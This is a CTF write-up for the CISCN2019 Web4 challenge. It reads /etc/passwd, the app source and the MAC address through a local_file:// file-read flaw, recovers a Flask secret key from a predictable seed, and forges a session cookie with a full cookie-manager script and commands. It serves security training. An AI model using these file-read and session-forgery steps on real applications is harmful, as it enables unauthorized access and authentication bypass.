CISCN2019华东南赛区-Web4
Created At : 2025-05-05 01:59
Count:1.3k
Views 👀 :
CISCN2019华东南赛区-Web4 参考博客:https://blog.csdn.net/mochu7777777/article/details/107656285
首先打开页面
点击Read somethings,发现没反应,查看网页源码
发现这里是这样跳转的。我们尝试随便访问一下
这种路由处理方式并不像是PHP,尝试了file:///etc/passwd没有效果,猜测Flask,尝试local_file:///读取文件
1 /read ?url=local_file:// /etc/pass wd
读取成功。
尝试读取源码
1 /read ?url=local_file:// /app/app .py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import re, random, uuid, urllibfrom flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
session['username'] == 'fuck'可得到flag,接下来就是要伪造session,而伪造session或者解密session都需要密钥,在源码中有密钥的生成方式:
1 2 random.seed (uuid.getnode ()) app.config ['SECRET_KEY' ] = str (random.random ()*233 )
对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。
那么就需要读取Mac地址local_file:///sys/class/net/eth0/address 得到Mac地址:ae:02:dd:61:cb:b9 然后使用Python2得出密钥(Python2和Python3保留的位数不一样)
1 2 3 4 >>> import random>>> random.seed(0xae02dd61cbb9 ) >>> print (str (random.random()*233 )) 187.265372344
我这里用的kali的python2。
然后利用Flask
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' import sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' )elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethodelse : from abc import ABC, abstractmethodimport argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self .secret_key = secret_keyif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : class FSCM (metaclass=ABCMeta): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise eelse : class FSCM (ABC ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise eif __name__ == "__main__" : parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder' , epilog="Author : Wilson Sumanang, Alexandre ZANNI" ) subparsers = parser.add_subparsers(help ='sub-command help' , dest='subcommand' ) parser_encode = subparsers.add_parser('encode' , help ='encode' ) parser_encode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=True ) parser_encode.add_argument('-t' , '--cookie-structure' , metavar='<string>' , help ='Session cookie structure' , required=True ) parser_decode = subparsers.add_parser('decode' , help ='decode' ) parser_decode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=False ) parser_decode.add_argument('-c' , '--cookie-value' , metavar='<string>' , help ='Session cookie value' , required=True ) args = parser.parse_args() if (args.subcommand == 'encode' ): if (args.secret_key is not None and args.cookie_structure is not None ): print (FSCM.encode(args.secret_key, args.cookie_structure)) elif (args.subcommand == 'decode' ): if (args.secret_key is not None and args.cookie_value is not None ): print (FSCM.decode(args.cookie_value,args.secret_key)) elif (args.cookie_value is not None ): print (FSCM.decode(args.cookie_value))
user session:
1 eyJ1 c2 VybmFtZSI6 eyIgYiI6 ImQzZDNMV1 JoZEdFPSJ9 fQ.aBesfw.Bnyv1 q4 -p7 MwmbKZpd3 bqsikHo4
先用脚本解密
1 2 3 4 python3 flask_session_cookie_manager3 .py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.aBesfw.Bnyv1q4-p7MwmbKZpd3bqsikHo4" -s "187.265372344" 输出: {'username' : b'www-data' }
将{'username': b'www-data'}修改为{'username': b'fuck'}然后重新加密生成session
1 2 3 4 python3 flask_session_cookie_manager3.py encode -s "187.265372344" -t "{'username': b'fuck'}" 输出: eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.aBexnA .HoH-q2eUlMfL0St0IImanIE-_mM
将伪造的session替换原来的session,然后再访问/flag即可拿到flag。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。